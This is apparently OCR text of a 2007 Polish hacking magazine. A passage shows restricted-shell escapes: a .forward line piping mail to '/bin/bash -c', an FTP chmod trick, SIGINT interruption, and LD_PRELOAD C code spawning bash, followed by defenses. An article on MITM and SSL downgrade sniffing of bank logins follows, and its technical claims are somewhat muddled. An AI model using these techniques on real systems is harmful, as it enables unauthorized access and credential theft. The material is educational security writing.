Zmiana ścieżki programu obsługującego protokół mail w 

programie links 

Rysunek 5. 

Wykorzystanie funkcji sprawdzającej pisownię w pico, do 

wykonania poleceń powłoki bash 

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

30

Cała  operacja  sprowadza  się  do 

wysłania  pliku  environment  mailem 
z innego konta, odebrania maila oraz 
skorzystania z funkcji programu pine
która umożliwia zapis treści maila w 
podanej lokalizacji. Funkcja ta jest do-
stępna po wybraniu opcji ViewAttach.

Jeśli  zapis  się  powiedzie,  po  po-

nownym zalogowaniu na konto zmien-
na 

SHELL

 powinna zostać zamieniona. 

Dzięki temu, możliwe stanie się sko-
rzystanie  z  –  wcześniej  omówionej 
– funkcji shell escape, któregoś z do-
stępnych programów, np. telnet, w ce-
lu  wykonania  poleceń  w  oparciu  o 
zdefiniowaną przez nas powłokę.

.forward

Plik .forward umieszczony w katalo-
gu  domowym  użytkownika  używa-
ny  jest  przez  program  sendmail  w 
celu  przekierowania  maili  (przezna-
czonych dla użytkownika) pod wska-
zany  adres.  Oprócz  adresów  mailo-
wych, dozwolone jest podanie ścież-
ki  do  programu,  do  którego  chcemy 
przesłać treść listu. Posiadając moż-
liwość  edycji  tego  pliku,  ustawiamy 
go na:

john@mailserver.com

, ”| /bin/bash –c 

nasza_komenda”

Nadchodzący mail zostanie wysłany 
pod adres Johna, ale także na wej-
ście programu bash - powodując wy-
konanie naszej komendy. 

Na szczęście taki atak nie powie-

dzie  się  w  większości  przypadków 

–  ze  względu  na  to,  że  podane  po-
lecenie najczęściej zostaje wykona-
ne w oparciu o specjalną restrykcyj-
ną powłokę sendmaila zwaną smrsh
Powłoka  ta  sprawia,  że  wykonane 
mogą  zostać  jedynie  programy  za-
warte w katalogu /etc/smrsh.

Zmiana uprawnień 

plików i katalogów

Jak  już  zdążyliśmy  się  przekonać 
– uprawnienia nadane plikom czy ka-
talogom zawartym w katalogu domo-
wym  mają  ogromne  znaczenie.  Je-
żeli  administrator  omyłkowo  udo-
stępni komendę 

chmod

, istnieje ryzy-

ko,  że  użytkownik  nada  katalogowi 
domowemu prawo +w, co uprawni go 
do  skasowania  pliku  .bash_profile
Przy  kolejnym  zalogowaniu,  zmien-

na 

PATH

  nie zostanie ograniczona do 

/usr/local/rbin – a co za tym idzie, ist-
nieje duże prawdopodobieństwo, że 
w  ścieżce  znajdzie  się  katalog  /bin 
(a to już tylko krok od uruchomienia 
normalnego basha).

Czasami istnieje możliwość zmia-

ny  uprawnień  bez  użycia  programu 

/bin/chmod. Wyobraźmy sobie, że na 
tym  samym  serwerze  działa  usługa 
FTP. O ile administrator nie ograniczył 
dostępu do tej usługi, a także nie wpro-
wadził restrykcji na instrukcję FTP SI-
TE CHMOD, użytkownik po połącze-
niu  na  port  21  może  wydać  komen-
dę 

chmod 777

, aby dalej bez większych 

przeszkód wykasować plik .bash_pro-

file lub też nadpisać go innym. 

Przerwanie skryptu 

startowego

Niejednokrotnie administratorzy two-
rząc  rozbudowane  skrypty  startowe 
zapominają  o  obsłudze  sygnałów. 
Spójrzmy  chociażby  na  skrypt  za-
warty w Listingu 1.

Wystarczy, że użytkownik w cza-

sie działania komendy 

sleep  5

, wci-

śnie  kombinację  klawiszy  [CTR-

L][C]  –  powodując  wysłanie  sygna-
łu 

SIGINT

.  Poskutkuje  to  natychmia-

stowym  zakończeniem  skryptu.  Je-
żeli  wykonanie  komendy 

export

  nie 

dojdzie do skutku, zmienna 

PATH

 nie 

zostanie  ustawiona,  a  tym  samym 
użytkownik nie zostanie ograniczony 
do komend z katalogu rbin. Sygnały 
mogą być kontrolowane za pomocą 

Listing 1. 

Nieco bardziej rozbudowany skrypt .bash_profile

echo

 –

n

 ”

Witamy

 

na

 

serwerze

echo

 `/

bin

/

hostname

`

echo

 

echo

 ”

Prosimy

 

zapoznac

 

sie

 

z

 

zasadami

:

 ”

cat

 /

etc

/

motd

sleep

 

5

clear

export

 

PATH

=

/

usr

/

local

/

rbin

enable

 –

n

 

pwd

Listing 2. 

Współdzielona biblioteka, uruchamiająca powłokę bash

#include 

<stdio.h>

void

 

localtime

()

{

   

unsetenv

(

"LD_PRELOAD"

);

   

system

(

"echo ok! && /bin/bash"

);

   

exit

(

0

);

}

Rysunek 6. 

Wykorzystanie programu pine do zapisu pliku environment 

background image

Restrykcyjne powłoki

hakin9 Nr 8/2007

www.hakin9.org

31

funkcji 

trap

.  Zignorowanie  sygnału 

SIGINT

 można uzyskać komendą:

trap ““ SIGINT 

Załadowanie biblioteki

Bardzo  ciekawą  –  a  zarazem  dają-
cą duże szanse powodzenia – meto-
dą na wydostanie się z ograniczonej 
powłoki, jest załadowanie wcześniej 
utworzonej,  specjalnie  spreparowa-
nej  biblioteki.  Jest  to  możliwe,  gdyż 
systemowy  linker/loader  (ld.so)  po-
zwala  na  określenie  współdzielonej 
biblioteki, która zostanie załadowana 
przed  wykonaniem  programu.  Daje 
to z kolei szansę na nadpisanie wy-
branej  funkcji,  używanej  przez  uru-
chamiany (przez loader) program. 

Ścieżkę do biblioteki, jaką ma dla 

nas załadować linker, możemy wska-
zać na dwa sposoby - zapisując ją w 
pliku /etc/ld.so.preload lub w zmien-
nej  środowiskowej 

LD _ PRELOAD

.  Do-

stęp  do  pliku  ld.so.preload  ma  tyl-
ko root – dlatego pozostaje posłuże-
nie się zmienną. Powłoka rbash nie 
ustawia tej zmiennej w tryb readon-

ly.  O  ile  administrator  nie  zabloko-
wał  wszystkich  komend  służących 
do zmiany środowiska (co się rzad-
ko zdarza), będziemy w stanie przy-
pisać do niej dowolną ścieżkę.

Oprócz  dostępu  do  polecenia 

zmieniającego  środowisko,  potrzeb-
ne będzie miejsce oraz sposób, w jaki 
zapiszemy plik binarny biblioteki. Jeśli 
mamy  prawo  zapisu  do  katalogu  do-
mowego (lub jednego z podkatalogów) 
oraz dostęp do FTP – problem rozwią-
zany. Gdy mamy dostęp do programu 

pine,  skompilowaną  bibliotekę  może-
my przesłać w załączniku maila. Pro-
gram pine nie nadaje prawa do wyko-
nywania zachowywanym załącznikom 
– co jednak nie przeszkadza w zała-
dowaniu  biblioteki  dynamicznej  przez 

ld.so (wystarczy, że plik posiada pra-
wo +r) . Pozostaje problem miejsca, w 
którym zapiszemy plik. Nawet jeśli nie 
posiadamy prawa +w w obrębie całe-
go katalogu domowego, wciąż mamy 
szansę na powodzenie naszych dzia-
łań. Możemy wykorzystać jeden z ka-
talogów na pliki tymczasowe,  /tmp, lub 

/var/tmp (nawet jeśli jest on zamonto-
wany  jako  noexec).  Załóżmy  jednak 

najbardziej  restrykcyjny  scenariusz 
–  nie  mamy  dostępu  do  FTP,  prawa 
zapisu w katalogu domowym, a jedy-
ny przyznany nam program to prosty 
kalendarzyk – cal. Okazuje się, że i z 
tej sytuacji jest wyjście. Skoro do sys-
temu zalogowaliśmy się poprzez SSH, 
najpewniej uda się skopiować nasz bi-
narny  plik  do  katalogu  /tmp  przy  po-
mocy scp.

Pozostaje  napisanie  współdzie-

lonej  biblioteki.  Jako  że  atak  bę-
dzie polegał na nadpisaniu jednej z 
funkcji  atakowanego  programu  na-
szym  kodem  –  zanim  przystąpi-
my  do  tworzenia  biblioteki,  musimy 
ustalić, z jakich funkcji on korzysta. 
Trzymając się założonego scenariu-
sza,  przystępujemy  do  badania  je-
dynego programu, do którego mamy 
dostęp  –  cal.  Aby  poznać  używane 

przez ten program funkcje, możemy 
wyświetlić tablicę symboli za pomo-
cą programu objdump, w następują-
cy sposób:

objdump –T /usr/bin/cal | grep GLIBC

Widzimy, że jedną z wykorzystywa-
nych funkcji, jest funkcja 

localtime()

Posiadając  tą  informację,  możemy 
przystąpić  do  pisania  programu  bi-
blioteki.

Przedstawiony  na  Listingu  2 

przykładowy kod języka C wykonuje 
cztery czynności. A mianowicie: usu-
nięcie zmiennej 

LD _ PRELOAD

 ze śro-

dowiska (w celu uniknięcia ingeren-
cji  w  wykonywane  dalej  programy), 
wyświetlenie tekstu ok!, uruchomie-
nie programu powłoki /bin/bash oraz 
przerwanie działania programu (cal), 

Rysunek 8. 

Tablica symboli programu cal

Rysunek 7. 

Ominięcie restrykcji poprzez nadpisanie $SHELL plikiem .ssh/

environment 

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

32

zaraz  po  zakończeniu  pracy  z  po-
włoką.  Kompilację  należy  przepro-
wadzić w taki oto sposób:

gcc -shared slibrary.c -o slibrary

Po przesłaniu biblioteki na serwer, je-
steśmy  gotowi  do  przeprowadzenia 
właściwej  części  ataku.  Po  zalogo-
waniu, ustawiamy zmienną środowi-
skową 

LD _ PRELOAD

  komendą 

declare

 

lub 

export

. Zakładamy tutaj, że biblio-

teka znajduje się w katalogu tmp:

declare –x LD_PRELOAD=/tmp/slibrary

Następnie  uruchamiamy  kalendarz, 
pisząc po prostu 

cal

. Jeśli wszystko 

się  powiedzie  -  program,  w  którymś 
momencie swojego działania, odwo-
ła się do funkcji 

localtime()

, pod którą 

znajdzie się nasz kod. Powinniśmy uj-
rzeć napis ok! oraz znak zachęty no-
wej powłoki.

Jak się zabezpieczyć?

Przedstawione przykłady ataków po-
kazują, jak łatwo jeden źle dobrany 
program (oferujący pozornie nieistot-
ną funkcję, jak ustawienia ulubione-
go  edytora)  może  doprowadzić  do 
wydostania  się  z  restrykcyjnej  po-
włoki rbash. Czy można w jakiś sku-
teczny sposób sprawić, aby restryk-
cyjne środowisko stało się mniej za-

wodne? Z pomocą przychodzą dwa 
projekty open source.

Pierwszy  z  nich  –  o  nazwie  ja-

il służy do utworzenia odseparowa-
nego  środowiska,  w  którym  zamy-
kany  zostaje  użytkownik  zaraz  po 
zalogowaniu.  Środowisko  to  two-
rzone  jest  dzięki  wykorzystaniu 
funkcji 

chroot()

.  Proces  działają-

cy w środowisku chroot ograniczo-
ny  jest  do  określonego  katalogu  i 
nie ma dostępu do głównego drze-
wa. Taki proces postrzega katalog, 
w którym został zamknięty, jako ka-
talog  główny  –  root  (/).  Uzyskuje-
my  w  ten  sposób  zwiększone  bez-
pieczeństwo, gdyż użytkownik – nie 
mogąc  wyjść  poza  przydzielone 
procesowi drzewo – ma dostęp je-
dynie  do  plików  utworzonych  w  je-
go obrębie. Tyczy się to wszystkich 
plików,  łącznie  z  bibliotekami,  pro-
gramami i plikami urządzeń. Projekt 

jail znacznie ułatwia zgromadzenie 
wszystkich  plików,  potrzebnych  do 
działania takiego środowiska.

Drugi  projekt  nosi  nazwę  Iron 

Bars  Shell  –  restricted  system  shell 

for Linux/Unix. Jest to projekt restryk-
cyjnej powłoki, nazywanej w skrócie 

ibsh.  Jest  ona  tworzona  z  myślą  o 
bezpieczeństwie.  Jedną  z  głównych 
idei  projektu  jest  zakazanie  wszyst-
kich operacji, które nie zostały jawnie 
określone  jako  dozwolone.  Powłoka 

oferuje  też  kilka  ciekawych  funkcji, 
jak  kontrola  parametrów  wykonywa-
nych  poleceń,  logowanie  poczynań 
użytkownika do sysloga czy też blo-
kowanie  dostępu  do  plików,  których 
rozszerzenie  nie  znajduje  się  na  li-
ście  dozwolonych  rozszerzeń  utwo-
rzonej przez administratora (ustawie-
nie blokady na pliki *.c, zapobiegnie 
kompilacji  potencjalnie  szkodliwych 
źródeł C itp.). W ten sposób zyskuje-
my dużo większą kontrolę nad poczy-
naniami użytkownika. 

Podsumowanie

Praktyka  pokazuje,  że  ciężko  jest 
utworzyć restrykcyjne środowisko, ba-
zujące tylko na restrykcyjnej powłoce. 
Trzeba  przewidzieć  każdy  ruch,  jaki 
może wykonać użytkownik oraz solid-
nie zgłębić zasady działania każdego 
z udostępnianych programów, pod ką-
tem oferowanych przezeń funkcji. Do-
branie bezpiecznych programów mo-
że stanowić niemały kłopot, gdyż, jak 
się przekonaliśmy, nawet prosty edy-
tor tekstu potrafi zawierać funkcje po-
zwalające na dostęp do powłoki. Mo-
żemy  dojść  do  wniosku,  że  powłoka 
restrykcyjna  powinna  być  stosowana 
tylko jako uzupełnienie bardziej efek-
tywnych  technik  ograniczania  użyt-
kowników (jak chroot) lub ewentualnie 
–  jako  powłoka  dla  początkujących 
użytkowników systemu. l

Rysunek 9. 

Wyjście z restrykcyjnego środowiska, dzięki załadowaniu 

podstawionej biblioteki

O autorze

Autor jest samoukiem, pasjonatem, od 
wielu  lat  interesującym  się  Informaty-
ką, a w szczególności aspektami bez-
pieczeństwa. Studiuje sieci komputero-
we w ramach programu Cisco Network 
Academy
 na Politechnice Poznańskiej. 
Kontakt z autorem: 
golunski@crackpl.com

W Sieci 

•   http://www.jmcresearch.com/

projects/jail/ – strona domowa pro-
jektu Jail,

•   http://ibsh.sourceforge.net – stro-

na domowa projektu Iron Bars-
Shell
.

background image

Media Systems

Firma Media Systems oferuje Państwu 

profesjonalny system CashBill.pl, 

umożliwiający  zarządzanie  usługami 

SMS  Premium  Rate  w  sektorze  B2B 

i B2C.

Oferujemy  również  szeroki  wachlarz 

usług mikropłatniczych, płatności 

elektronicznych oraz indywidualne, de-

dykowane rozwiązania przy budowie 

aplikacji mobilnych. 

TTS Company Sp. z o.o.

Oprogramowanie 

komputerowe - 

sprzedaż,  dystrybucja  oraz import na 

zamówienie.  W  ofercie  programy  au-

torstwa ponad stu firm z całego świa-

ta. Zapraszamy do współpracy - zostań 

naszym klientem lub dostawcą. 

www.OprogramowanieKomputerowe.pl

Zepter IT

Zepter  IT  to  dynamicznie  rozwijająca 

się firma, specjalizująca się w realiza-

cji projektów informatycznych.

Oferujemy  rozwiązania  dla  biznesu 

i  zarządzania  takie  jak  systemy  ERP 

czyli zarządzanie zasobami firmy, pod-

noszenie jakości i obniżanie kosztów.

Zepter  IT  świadczy  również  usługi  in-

ternetowe - serwisy www, e-commerce, 

tworzenie  aplikacji  internetowych  oraz 

systemów zarządzania treścią. 

www.zepterit.com

Pr

en

um

er

at

PR

O

Prenumerata PRO

ko

nt

ak

t d

na

s:

 

m

ar

ty

na

.z

ac

ze

k@

so

ft

w

ar

e.

co

m

.p

l

ka

ta

rz

yn

a.

ju

sz

cz

yn

sk

a@

so

ft

w

ar

e.

co

m

.p

l

te

l. 

: 2

88

13

 4

5

Petrosoft

Partner Microsoft Bussiness Solutions 

Dynamics  GP.  Budowa  sklepów  inter-

netowych, serwisów WWW, prezentacji 

multimedialnych.  Budowa  sieci  LAN, 

WAN,  telekomunikacyjnych.  Telefonia 

stacjonarna,  VoiceIP.  Usługi  outsor-

cingowe  dla  dużych  firm  z  zakresu 

informatyki  i  telekomunikacji.  Opro-

gramowanie na zamówienia. Dostawa 

serwerów, sprzętu, oprogramowania.

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

background image

www.hakin9.org

hakin9 Nr 8/2007

34

Atak

L

ogując  się  na  stronę  bankową,  może-
my  przeczytać  o  użytych  tam,  w  ce-
lu  zaszyfrowania  danych,  zabezpiecze-

niach.  Technologia,  z  której  bank  korzysta  w 
celu zapewnienia bezpiecznego połączenia to 
SSL (Secure Socket Layer). Bezpieczne połą-
czenie  pomiędzy  przeglądarką  internetową,  a 
serwerem banku to zabezpieczenie podstawo-
we, pierwsza linia obrony (Rysunek 1, 5). Jest 
to fundament analizy bezpieczeństwa elektro-
nicznego, gdyż owo rozwiązanie zapewnia  po-
ufność danych konta. Kiedy połączymy się ze 
stroną  banku,  na  dole  przeglądarki  widzimy 

kłódeczkę  informującą  nas  o  tym,  że  mamy 
bezpieczne połączenie.  Pierwszą wersją pro-
tokołu SSL była wersja 2.0, którą w 1999 roku 
została zastąpiona przez wersję 3.0, jaka jest 
obecnie bardzo popularna wśród banków oraz 
przeglądarek internetowych (prawie wszystkie 
się nią posługują). Najpopularniejszymi z nich 
są: NetScape, MS Internet Explorer i Mozilla Fi-

refox. Można zwiększyć bezpieczeństwo, wyłą-
czając obsługę danego protokołu. W przypad-
ku Internet Explorera, aby zmusić przeglądarkę, 
żeby używała tylko SSL 3.0, wystarczy wejść w 
menu Narzędzia, następnie kliknąć w Opcje in-

ternetowe,  przejść  do  zakładki  Zaawansowa-

ne i w podpunkcie Zabezpieczenia odznaczyć 
opcję  Użyj  SSL  2.0.  Internet  Explorer  rozpo-
wszechniany jest w dwóch wersjach SSL: eks-
portowej  (klucz  40-to  bitowy)  i  amerykańskiej 
(128-mio bitowy), przeglądarka obsługuje rów-
nież TLS 1.0. Jeśli chodzi o przeglądarkę Mo-

zilla Firefox, sprawa jest o tyle uproszczona, iż 
obsługuje ona tylko SSL 3.0 oraz TLS 1.0. Na-
leży jednak pamiętać o tym, że niektóre strony 
po odznaczeniu lub całkowitym braku SSL 2.0 
mogą nie uruchamiać się poprawnie. Jak moż-
na  zaobserwować,  ponad  50  procent  portali 
używa jednak protokołu SSL w wersji 2.0. Roz-
winięciem SSL jest TLS, który zdobywa coraz 
większe uznanie wśród przeglądarek interneto-
wych. Jedną z nich jest Internet Explorer, ob-

Hakowanie protokołu SSL

Artur Czyż

stopień trudności

Coraz częściej zamiast iść do banku, wypłacamy pieniądze 

z bankomatu. Na stronach internetowych banków bez trudu 

możemy założyć sobie nowe konto, złożyć wniosek kredytowy. 

Wszystkie dane są poufne. Banki zapewniają, że nasze dane są 

bezpieczne, ale czy możemy im wierzyć na słowo?

Z artykułu dowiesz się

•   jak wykorzystać atak MITM do przejęcia danych 

konta innej osoby,

•   jakie błędy posiada protokół SSL.

Co powinieneś wiedzieć

•   znać podstawy systemu Linux.

background image

Hakowanie protokołu SSL

hakin9 Nr 8/2007

www.hakin9.org

35

sługujący  wersję  1.0  (dostępna  jest 
również  wersja  1.1).  Coraz  częściej 
protokół  SSL  wykorzystywany  jest 
w  programach.  Ich  przykładem  jest 
np. aplikacja The Bat!, zaś przykła-
dem  programu,  jaki  owego  rozwią-
zania nie obsługuje jest Flash Play-

er 9 beta (ma to być zresztą napra-
wione).  Ostatnio  coraz  popularniej-
szy staje się program Sylpheed, słu-
żący do obsługi poczty, a działający 
na  systemie  Linux  lub  Unix.  Należy 
zwrócić uwagę na to, że także w nim 
brak obsługi SSL. Banki oprócz zwy-
kłego  uwierzytelniania  stosują  rów-
nież silniki oparte na tokenach, klu-
czach prywatnych itd. Token zabez-
pieczony jest czterocyfrowym kodem 
PIN zakładanym przez użytkownika. 

Jeśli  bank  wysyła  wiadomość,  i  za-
szyfrowana jest ona za pomocą klu-
cza publicznego, to może zostać ona 
rozszyfrowana  wyłącznie  przy  uży-
ciu odpowiadającego mu klucza pry-
watnego i na odwrót.

Słabości 

protokołu SSL 2.0

Protokół  SSL  w  wersji  2.0  posiada 
wiele  słabości.  Dokładny  ich  opis 
znaleźć można w książce Erica Re-

scorla, SSL and TLS, Designing and 

Building  Secure  Systems,  Addison-

Wesley, 2000.

Protokół  w  tej  wersji  nie  posiada 

zabezpieczenia  procedury  nawiązy-
wania  połączenia.  Potencjalny  na-
pastnik  może  wymusić  użycie  sła-
bego  algorytmu  szyfrującego.  Algo-
rytmem  zapewniającym  integralność 
przesyłanych  danych  w  ramach  po-
łączenia SSL w wersji 2.0 jest MD5. 
Jest on postrzegany za niezbyt bez-
pieczny. Protokół SSL 2.0 używa rów-
nież tego samego klucza w celu za-
pewnienia poufności oraz integralno-
ści.  Oznacza  to,  że  złamanie  jedne-
go klucza umożliwi przeprowadzenie 
ataku. Wersja 2.0 posiada autoryza-
cję i uwierzytelnianie protokołu SSL, 
a nie HTTP. Umożliwia to przechwy-
cenie danych autoryzacyjnych klienta 
przez trzecią stronę połączenia.

Atak SSL 2.0 Rollback

W  wersji  3.0  została  wprowadzona 
możliwość  nawiązania  połączenia  z 

wersją 2.0. Ma to na celu zapewnie-
nie kompatybilności z aplikacjami ob-
sługującymi starszą wersję. Rozwią-
zanie to znajduje zastosowanie, jeśli 
jedna ze stron nie wspiera wersji 3.0, 
a  obie  wspierają  wersję  2.0.  Proce-
dura takiej degradacji nazywa się w 
terminologii  SSL  procedurą  wycofa-
nia  (rollback).  Aby  zapobiec  atakom 
typu MITM (Man-in-the-middle) klient 
przechodzi w wersji 2.0 na inny tryb 
kodowania.  Jeśli  serwer  to  wykryje, 
uniemożliwi nawiązanie połączenia.

Ataki  typu  MITM  są  trudne  do 

wykonania,  a  zarazem  bardzo  nie-
bezpieczne.  Aby  przeprowadzić  taki 
atak, należy przekonać switche, któ-
re są na połączeniu pomiędzy hosta-
mi,  jakie  atakujemy,    że  posiadamy 

lepsze  połączenie  niż  one.  Musimy 
mieć jednak fizyczne podłączenie do 
obu z nich. Co prawda możliwe jest 
przejęcie kontroli z różnych segmen-
tów, ale występuje wtedy problem ich 
połączenia w celu przekazywania ra-
mek.  Wysyłając  BPDU  (przełączni-
ki  wysyłające  komunikaty,  aby  uzy-
skać  topologie  logiczną  bez  pętli)  z 
ustawionymi mniejszymi kosztami do 
każdego ze switchy, możemy je prze-
stawić  w  stan  Blocking  (zablokowa-
ny)  i  przekierować  ruch  przez  swo-
ją jednostkę. 

Bezpieczeństwo

Należy zwrócić uwagę na to, iż atak, 
o jakim tu mowa, jest bardzo trudny 
do wykrycia przez końcowego użyt-
kownika, w stronę którego jest skie-
rowany. W przypadku DNS Spoofing 
może  on  zobaczyć  podmianę  adre-
sów IP, a w przypadku ARP Spoofing 
albo zauważy zmianę adresów MAC, 
albo ma statyczną tablicę ARP z za-
pisanymi adresami ważnych hostów. 
Jeśli  chodzi  o  atak  MITM,  nie  ma 
możliwości  jego  wykrycia,  niewielką 
wskazówką może być jedynie zwięk-
szenie  czasu  przesyłania  pakietów. 
Jeśli pełni się funkcję administratora 
Sieci, zadanie jest dość proste. Wy-
starczy  analizować  dzienniki  syste-
mowe pod kątem topologi STP i wy-
łapywać dziwne sytuacje. Można też 
spróbować  wykryć  atak  za  pomocą 
analizatorów ruchu sieciowego. Ana-
lizując  dzienniki  systemowe  zwróć-

Rysunek 1. 

Certyfikat strony 

jednego z banków, używającej do 

logowania połączenia SSL

Rysunek 2. 

Schemat ataku Man In the middle

Prawdziwy Client SSL

Maszyna atakującego

Fałszywy klient

Nieszyfrowane

połączenie SSL

Fałszywy serwer

......

Szyfrowane

połączenie SSL

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

36

my szczególna uwagę na to, czy z ja-
kiegoś urządzenia nie brakuje logów, 
czy nie występują zbyt częste ramki 
BPDU oraz zmiany topologi Sieci.

Należy  wyłączyć  STP  (proto-

kół  używany  w  sieciach  kompute-
rowych) tam, gdzie nie jest ono po-
trzebne do prawidłowej pracy Sieci. 
Można też ustawić identyfikatory na 
poszczególnych switchach. 

Problemy związane 

z cookies

Serwer WWW można skonfigurować 
tak,  aby  udostępniał  aplikację  po-
przez HTTP i HTTPS. 

W  przypadku  banku,  połączenie 

ma  być  jak  najbardziej  bezpieczne  i 
odbywać  się  tylko  w  postaci  zaszy-
frowanej. Ma to zapobiec przechwy-
ceniu wysyłanych przez przeglądarkę 

cookies.  Ponadto,  jeżeli  łączymy  się 
poprzez HTTP, klient nie jest w stanie 
sprawdzić, czy w połączeniu nie ma 
osoby trzeciej.

Scenariusz 

pierwszego ataku

Atakujący jest w miejscu, gdzie istnie-
je  możliwość  skorzystania  z  Interne-
tu.  Może  to  być  biblioteka  publiczna, 
kawiarenka  internetowa,  restauracja, 
hotel (Hot Spot), zwykła sieć lokalna, 
itp. Pojawia się ofiara, która chce doko-
nać operacji bankowej. Napastnik uru-
chamia program podsłuchujący ruch w 
sieci lokalnej np. Ethereal (Rysunek 3), 

dsniff  (Rysunek  4)  lub  inną  aplikację 
przechwytującą ruch w Sieci. Ethere-

al pracuje w środowisku Win32 lub Li-

nux i obsługuje aż 289 protokołów. Aby 
uruchomić  program,  należy  ustawić 
adapter, zakres sieci i wcisnąć przycisk 

Start. Na ekranie pojawi się okno konfi-
guracyjne przechwytywania transmisji. 
Należy  tu  zwrócić  szczególną  uwagę 
na wybranie prawidłowej karty siecio-
wej z listy dostępnych interfejsów. Roz-
poczęcie  pracy  programu  rozpocznie 
się po naciśnięciu przycisku OK. Pro-
gram  zacznie  pracę.  Pojawi  się  okno 
przechwytywania  pakietów.  Po  za-
kończeniu  działań  program  wyświetli 
podsumowanie.  Program  dsniff  dzia-
ła w środowisku UNIX. Jego procedu-
ra działania wygląda następująco: uru-
chamiamy  konsolę,  przechodzimy  na 
użytkownika root (robi się to przez ko-
mendę su), następnie w konsoli wpisu-
jemy:  dsniff  –opcja  –TuNaszAdapter. 
Przykładowa  komenda  wygląda  tak: 

dsniff -i eth1. Gdy nasza ofiara wcho-
dzi na stronę internetową banku i prze-
chodzi do strony logowania, sprawdza, 
czy połączenie jest szyfrowane i uzna-
je je za bezpieczne. Wtedy przechodzi 
do logowania na swoje konto. Atakują-
cy odbiera dane wpisywane przez ofia-
rę (Rysunek 2). Brak jest jakichkolwiek 
komunikatów o ataku (SSL 3.0, patrz 
Atak  SSL  2.0  Rollback).  Bezpieczne 
połączenie  zostaje  zdegradowane  do 
poziomu łatwego odszyfrowania. Ata-
kujący  odbiera  zaszyfrowane  dane. 
Klient (ofiara) wylogowuje się z konta 
i kończy połączenie. Napastnik odszy-
frowuje informacje i ma dostęp do da-
nych ofiary.

Scenariusz 

drugiego ataku

W  tym  przypadku  jeden  z  pracow-
ników  firmy  chce  poznać  dane  doty-
czące  kont  pracowników  z  firmy.  Na 
początku  zachwala  zalety  pewnego 
banku.  Później  wysyła  pracownikom 
link (adres tego banku) przez pomył-

  wpisując  HTTP  zamiast  HTTPS. 
Część pracowników, ufając kolegom z 
pracy, rejestruje się na stronie banku. 
Wszystkie dane są wysyłane w posta-
ci  niezaszyfrowanej.  Następnie  ro-

Rysunek 3. 

Wygląd programu Ethereal podczas pracy

O autorze

Artur Czyż, od 6 lat interesuje się 
bezpieczeństwem Sieci. 
Kontakt z autorem: 
blackgeocities@wp.pl

Protokół SSL 2.0 i 3.0

Protokół  SSL  zaprojektowany  został 
przez firmę Netscape. Jego zadaniem 
było zapewnienie poufności oraz inte-
gralności  danych  przesyłanych  przez 
Internet.  Miał  to  być  protokół  uniwer-
salny, tak, aby mogły z niego korzystać 
HTTP, FTP, TELNET, etc.

Man-in-the-middle

Atak typu man-in-the-middle (MITM) to 
sytuacja, w której w kontakt pomiędzy 
jedną a drugą stroną wkracza atakują-
cy. Jest on w stanie przechwytywać da-
ne  przesyłane  w  obu  kierunkach,  od-
czytywać je, modyfikować lub usuwać.

Rysunek 4. 

Wygląd programu 

dsniff podczas pracy

background image

Hakowanie protokołu SSL

hakin9 Nr 8/2007

www.hakin9.org

37

bi wszystko to, co przedstawiliśmy w 
poprzednim przykładzie - Scenariusz 

pierwszego ataku od punktu 3. Jest to 
kolejny dowód tego, w jak łatwy spo-
sób można zdobyć dane klientów.

Instalacja programów

W  przypadku  systemu  Linux  na  po-
czątku  należy  zmienić  użytkownika 
na super user tzn. root; robimy to ko-
menda su.

user@debian:~$ su
Password: <-- wpisujemy hasło
root@debian:~$
Ethereal
Win32

Instalacja  programu  odbywa  się  na-
stępująco: uruchamiamy program in-
stalacyjny  i  po  prostu  klikamy  cały 
czas  przycisk  dalej  (wybieramy  tyl-
ko  katalog,  który  chcemy  zainstalo-

wać). Jeżeli program po instalacji za-
żąda  od  nas  instalowania  dodatko-
wych bibliotek (WinPCAP), instaluje-
my je również. 

Dsniff
Linux
Przechodzimy do konsoli. 
root@debian:~$

Załóżmy,  że  program  dsniff  ma  na-
zwę  dsniffXXX.tar.gz.  Aby  go  za-
instalować,  wpisujemy  kolejno  ko-
mendy:

root@debian:~$ tar -zxvf
dsniffXXX.tar.gz

Następnie  wchodzimy  do  katalogu 
poleceniem cd, np.:

root@debian:~$ cd dsniff

Później sprawdzamy dostępne kata-
logi  i  pliki  –  komenda  ls.  Następnie 
wpisujemy polecenia:

root@debian:~$ ./configure
root@debian:~$ make
root@debian:~$ install

Po  zakończeniu  tych  operacji,  wy-
świetli się komunikat o poprawności 
procesu instalacyjnego.

Podsumowanie

Okazuje się, że nawet gdy bank za-
pewnia  o  bezpieczeństwie  nawią-
zywanych  transakcji,  możemy  mieć 
słuszne  odczucia,  że  nasze  pienią-
dze  nie  są  do  końca  bezpieczne. 
Artykuł nie ma na celu pokazać jak 
okraść sąsiada czy kolegę z pracy, 
a  jedynie  uświadomić,  w  jak  wiel-
kim  niebezpieczeństwie  są  nasze 
pieniądze.  Zwykły  atak  na  zasa-
dzie podsłuchania sesji może posłu-
żyć do zdobycia danych z konta in-
nej osoby. Czy zatem mamy wszyst-
kie  transakcje  przeprowadzać  jed-
nak  w  tradycyjnym  w  banku?  Od-
powiedź  jest  następująca  -  bezpie-
czeństwo  przeglądarki  jest  naszym 
bezpieczeństwem,  jeżeli  jej  zabez-
pieczenia  będą  na  wysokim  pozio-
mie, możemy czuć się niemal całko-
wicie bezpieczni. l

Rysunek 6. 

Schemat szyfrowania transmisji

Szyfrowana transmisja podczas łączenia z bankiem

numer identyfikacyjny + hasło dostępu

(generowane przez token lub kartę)

token lub karta uwierzytelniająca z kodem  do

potwierdzenia transakcji

SSL 128 bit

przelew

1

1

2

2

3

3

*

*

Bank

Rysunek 5. 

Poczta WP akceptująca cookies

W Sieci

•   http://krystian.jedrzejczak.webpark.pl/,
•   http://lumd.linux.pl/lecture/14/,
•   http://www.grupy.egospodarka.pl/prosty-sposob-zabezpieczenia-przed-atakiem-

MITM-w-Internet-Explorer,t,46221,8.html,

•   http://www.cryptonix.org/papers/secure-lan/secure-lan.pdf,
•   http://www.darknet.org.uk/2006/10/odysseus-proxy-for-mitm-attacks-testing-se-

curity-of-web-applications/.

background image

www.hakin9.org

hakin9 Nr 8/2007

38

Atak

K

iedyś  wirusy  przenoszone  na  dyskiet-
kach  infekowały  komputery,  niszczyły 
dane,  zerowały  boot  sektor  dysku,  do-

klejały się do plików exe. Wirusy rozprzestrze-
